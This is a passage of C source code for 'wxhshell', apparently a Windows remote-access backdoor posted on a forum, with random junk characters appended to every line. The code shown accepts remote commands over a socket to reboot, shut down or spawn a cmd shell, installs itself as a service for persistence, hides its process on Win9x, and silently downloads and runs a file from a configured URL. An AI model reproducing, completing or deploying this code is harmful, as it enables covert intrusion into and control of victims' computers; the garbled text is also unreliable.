  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L 6fbR-&Lt  
  } 3Il._]#  
  else { /|P{t{^WM  
k'H[aYMA  
    switch(cmd[0]) { 6kLy!QS  
  /j}Tv.'d  
  // 帮助 *AQ3RA8  
  case '?': { : [328X2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ".$kOH_:  
    break; 'j, ([  
  } 0XCAnMVo  
  // 安装 :Dw_$  
  case 'i': { LjE3|+pJ  
    if(Install()) G?=&\fg_:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jll:Rh(b  
    else ,>7dIJqzw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "0[`U(/  
    break; :r hB=  
    } <I tS_/z  
  // 卸载 f_[dFKoX  
  case 'r': { LQ4:SV'3  
    if(Uninstall()) ZvT,HJ0?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ![\P/1p  
    else %_4#WI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kk6 !krZ  
    break; tP*Kt'4W  
    } 8>#ZU]cG  
  // 显示 wxhshell 所在路径 G dNhEv  
  case 'p': { OUF%DMl4  
    char svExeFile[MAX_PATH]; gj @9(dk%  
    strcpy(svExeFile,"\n\r"); cnQ2/ZZp~  
      strcat(svExeFile,ExeFile); WPNw")t!  
        send(wsh,svExeFile,strlen(svExeFile),0); SJa>!]U'xI  
    break; P-gjSE|yh  
    } .BBJhXtrdu  
  // 重启 oxN5:)  
  case 'b': { N<a %l J  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); K-#d1+P+  
    if(Boot(REBOOT)) /KF@Un_Ow  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); BlU&=;#r5>  
    else { e1h7~ j  
    closesocket(wsh); =RD>#'sUK  
    ExitThread(0); BA1uo0S `S  
    } }*QK;#NEc  
    break; EYj~Xj8_  
    } jQ3dLctn  
  // 关机 G"J nQ  
  case 'd': { iJ^}{-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); rZ3ji(4HS  
    if(Boot(SHUTDOWN)) rC_1f3A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pgh(~ [  
    else { K;sC#9m  
    closesocket(wsh); SsW<,T  
    ExitThread(0); Aipm=C8  
    } cxSHSv 1;  
    break; I8)D   
    } {m~)~/z?  
  // 获取shell #2ta8m),  
  case 's': { MooH`2Fd  
    CmdShell(wsh); ;#9?3O s  
    closesocket(wsh); fv+ET:T%  
    ExitThread(0); u%:`r*r  
    break; U!r8}@  
  } XK3O,XM  
  // 退出 ^O@eyP  
  case 'x': { B!x#|vGXL  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); I@6+AU~,6  
    CloseIt(wsh); ZwLr>?0$ p  
    break; ?rQ .nN  
    } tB~#;:g  
  // 离开 eg}g} a  
  case 'q': { Z+y'w#MZL  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a dr\l5pWQ  
    closesocket(wsh); cYg J}(>}  
    WSACleanup(); '%ilF1#  
    exit(1); bS~Y_]B  
    break; b:hta\%/2  
        } ydO+=R0M  
  } _xePh  
  } 1q-;+Pd;  
*6AV^^  
  // 提示信息 EMO {u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sU&v B:]~  
} DoQ^caa@  
  } ;6pB7N  
):>?N`{V  
  return; k6ry"W3  
} i@?|vu  
n5UUoBv  
// shell模块句柄 /fb}]e]N  
int CmdShell(SOCKET sock) mJ<`/p?:  
{ P:.jb!ZU  
STARTUPINFO si; Cfmd*,  
ZeroMemory(&si,sizeof(si)); e_Hpai<b  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !`?i>k?Q E  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i'H]N8,A  
PROCESS_INFORMATION ProcessInfo; dFw+nGN  
char cmdline[]="cmd"; .uauSx/#4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); TaYl[I  
  return 0; V;MmPNP|  
} ;a1DIUm'  
Bh=t%#y|`  
// 自身启动模式 W7uX  
int StartFromService(void) 5U7,,oyh  
{ BT8)t.+pv  
typedef struct :s_.K'4?a  
{ +&VY6(Zj+*  
  DWORD ExitStatus; r D <T  
  DWORD PebBaseAddress; H%Vf$1/TF  
  DWORD AffinityMask; vA_,TS#Bo  
  DWORD BasePriority; J?m/u6  
  ULONG UniqueProcessId; X [dfms;H  
  ULONG InheritedFromUniqueProcessId; ;-~E !_$  
}   PROCESS_BASIC_INFORMATION; ohKoX$|p~  
Ds"%=  
PROCNTQSIP NtQueryInformationProcess; B2]52Fg-"  
 hO$Gx*e$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zCo$YP#5_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BuRsz6n  
_h ^.`Tz,  
  HANDLE             hProcess; @H#Fzoo.  
  PROCESS_BASIC_INFORMATION pbi; ,}'8. f  
K2x2Y=  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); QK6_dIvDz  
  if(NULL == hInst ) return 0; Izu____  
4w ,&#L  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m85ZcyW1T  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); O-V] I0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); myX&Z F_9  
D8,8j;  
  if (!NtQueryInformationProcess) return 0; V;SV0~&  
S`5bcxI_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); bi+M28m  
  if(!hProcess) return 0; h.#:7d(g  
8Snv, Lb`^  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;E 9o%f:o  
HoAg8siQ  
  CloseHandle(hProcess); qypF}Pw  
*s 4Ym  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zuN(~>YH  
if(hProcess==NULL) return 0; %/e'6g<  
?:`sE"  
HMODULE hMod; ps2j]g  
char procName[255]; 02[m{a-  
unsigned long cbNeeded; ),`jMd1`  
s(fkb7W,gO  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); T.I'c6|  
O@@nGSc@  
  CloseHandle(hProcess); #$S~QS.g  
U=KUx  
if(strstr(procName,"services")) return 1; // 以服务启动 PUO7Z2  
S>T ;`,  
  return 0; // 注册表启动 +|dL R*s  
} *GXPN0^Qjo  
Axb=1_--  
// 主模块 ]QJ5JtD-  
int StartWxhshell(LPSTR lpCmdLine) -j<E_!t  
{ &_:9.I 1  
  SOCKET wsl; p:n l4O/  
BOOL val=TRUE; z{Yfiv\-r  
  int port=0; 8Pd9&/Y  
  struct sockaddr_in door; p%*s3E1.D  
Sw E7U~  
  if(wscfg.ws_autoins) Install(); X);'[/]E*  
SW}Rkr\e  
port=atoi(lpCmdLine); /_J{JGp9  
rWJ5C\R  
if(port<=0) port=wscfg.ws_port; o?/H<k\5  
`]l` t"x  
  WSADATA data; B<BS^waU  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 0/DO"pnL@  
9a=:e=q3#  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3S_H&>K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ;\A_-a_(#  
  door.sin_family = AF_INET; 8%;Wyqdf]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 30WOH 'n  
  door.sin_port = htons(port); 9teP4H}m  
0U% tjYk(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &8i$`6wY  
closesocket(wsl); `~d7l@6F  
return 1; RYvdfj.ij  
} A/a=)s u  
CB>W# P%  
  if(listen(wsl,2) == INVALID_SOCKET) { (|AZO!  
closesocket(wsl); O, eoO,gB  
return 1; )b]!IP3  
} ENqZ=Lyq  
  Wxhshell(wsl); V-(]L:[JQ  
  WSACleanup(); Z>g&%3j  
iTdamu`L  
return 0; 2>X yrG  
mgH~GKf^  
} T$0)un  
A405igF  
// 以NT服务方式启动 0#'MR.,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) g"'BsoJ  
{ zx8@4?bK  
DWORD   status = 0; 9C?SEbC  
  DWORD   specificError = 0xfffffff; M {'(+a[  
?;UR9f|!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Bt")RG  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; pe,y'w{  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; & .1-6  
  serviceStatus.dwWin32ExitCode     = 0; S)ipkuj X  
  serviceStatus.dwServiceSpecificExitCode = 0; CzreX3i  
  serviceStatus.dwCheckPoint       = 0; "@VYJ7.1  
  serviceStatus.dwWaitHint       = 0; e%ro7~  
arR<!y7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); y,rdyt  
  if (hServiceStatusHandle==0) return; Tz6I7S-w  
7P2(q  
status = GetLastError(); p9G+la~;VM  
  if (status!=NO_ERROR) 3 []ltN_  
{ Yg5o!A  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o` QH8  
    serviceStatus.dwCheckPoint       = 0; yR{rje*  
    serviceStatus.dwWaitHint       = 0; ))dqC l  
    serviceStatus.dwWin32ExitCode     = status; '$p`3Oqi  
    serviceStatus.dwServiceSpecificExitCode = specificError; 56kqG}mg&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); iu<Tv,{8  
    return; m#[c]v{  
  } LrO[l0#'Q  
6:}n}q,V  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; aUa+]H[  
  serviceStatus.dwCheckPoint       = 0; rkWy3X{%2<  
  serviceStatus.dwWaitHint       = 0; 7]?y _%kT  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <f}:YDY'  
} dEMv9"`*!  
`x?_yogPM  
// 处理NT服务事件,比如:启动、停止 $D65&R  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,ko#z}Z4r,  
{ X)j%v\#`U  
switch(fdwControl) )O*h79t^Q  
{ ]b;a~Y0  
case SERVICE_CONTROL_STOP: ;{wzw8!  
  serviceStatus.dwWin32ExitCode = 0; h5l_/v d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ZR=i*y  
  serviceStatus.dwCheckPoint   = 0; @mu{*. &  
  serviceStatus.dwWaitHint     = 0; %/\sn<6C}  
  { G2n. NW#d4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5FB3w48  
  } yMkR)HY  
  return; -@w}}BR  
case SERVICE_CONTROL_PAUSE: X xwcvE  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; cCZ$TH  
  break; #sF#<nHZ  
case SERVICE_CONTROL_CONTINUE: hEo$Jz`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]==7P;_-  
  break; K ~-V([tWg  
case SERVICE_CONTROL_INTERROGATE: )AieO-4*  
  break; $aT '~|?  
}; & \5Ur^t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); )L "Dt_t  
} ^j.3'}p  
# ^,8JRA  
// 标准应用程序主函数 /8:e| ]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +6+1N)L  
{ Kn1u1@&Xd  
Z{%W!>0  
// 获取操作系统版本 kda*rl~c  
OsIsNt=GetOsVer(); u#u/uS"  
GetModuleFileName(NULL,ExeFile,MAX_PATH); IAb.Z+ig  
leSBR,C  
  // 从命令行安装 cRag0.[  
  if(strpbrk(lpCmdLine,"iI")) Install(); rKOa9M  
TL"+Iv2]/$  
  // 下载执行文件 #NMQN*J>D  
if(wscfg.ws_downexe) { @pJ;L1sn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) X}={:T+6s  
  WinExec(wscfg.ws_filenam,SW_HIDE); `;R$Ji=>  
} I%[Tosud<  
K4|fmgcy.  
if(!OsIsNt) { \zA3H$Df~  
// 如果时win9x,隐藏进程并且设置为注册表启动 g=v'[JPd  
HideProc(); &,Rye Q  
StartWxhshell(lpCmdLine); F|VHr@%  
} i 28TH Jh  
else K",Xe>  
  if(StartFromService()) v'`qn  
  // 以服务方式启动 %,S:^Rvv  
  StartServiceCtrlDispatcher(DispatchTable); (IHR {m  
else :*l\j"fX5  
  // 普通方式启动 -c0*  
  StartWxhshell(lpCmdLine); xjxX4_  
Om7 '_}  
return 0; E\Iz:ES^  
}
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只看该作者 1 发表于: 2006-10-10
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